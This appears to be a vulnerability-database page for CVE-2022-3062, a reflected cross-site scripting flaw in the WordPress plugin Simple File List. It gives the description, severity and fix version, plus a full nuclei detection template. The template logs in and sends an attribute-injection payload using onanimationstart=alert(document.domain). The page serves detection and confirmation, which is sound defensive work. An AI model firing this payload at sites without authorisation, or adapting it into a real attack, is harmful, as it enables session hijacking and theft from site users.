HexBrain

Browse / CVEs / CVE-2022-3062

CVE-2022-3062· simplefilelist / simple-file-list· CWE-79

Simple File List < 4.4.12 - Cross Site Scripting

mediumseverity
6.1CVSS score
44.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

The plugin does not escape parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Fixed in version 4.4.12

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/?page=ee-simple-file-list&tab=settings&subtab="style=animation-name:rotation+onanimationstart=alert(document.domain)//
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "ee-simple-file-list") and contains(body_2, "onanimationstart=alert(document.domain)//")

Run it with nuclei: nuclei -id CVE-2022-3062 -u <target>

The full check
id: CVE-2022-3062

info:
  name: Simple File List < 4.4.12 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not escape parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: Fixed in version 4.4.12
  reference:
    - https://wpscan.com/vulnerability/2e829bbe-1843-496d-a852-4150fa6d1f7a
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3062
    - https://wordpress.org/plugins/simple-file-list/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-3062
    cwe-id: CWE-79
    epss-score: 0.44095
    epss-percentile: 0.98762
    cpe: cpe:2.3:a:simplefilelist:simple-file-list:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: simplefilelist
    product: simple-file-list
    framework: wordpress
  tags: cve,cve2022,authenticated,wordpress,wp-plugin,wp,wpscan,xss,simple-file-list,simplefilelist,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/?page=ee-simple-file-list&tab=settings&subtab="style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "ee-simple-file-list")'
          - 'contains(body_2, "onanimationstart=alert(document.domain)//")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from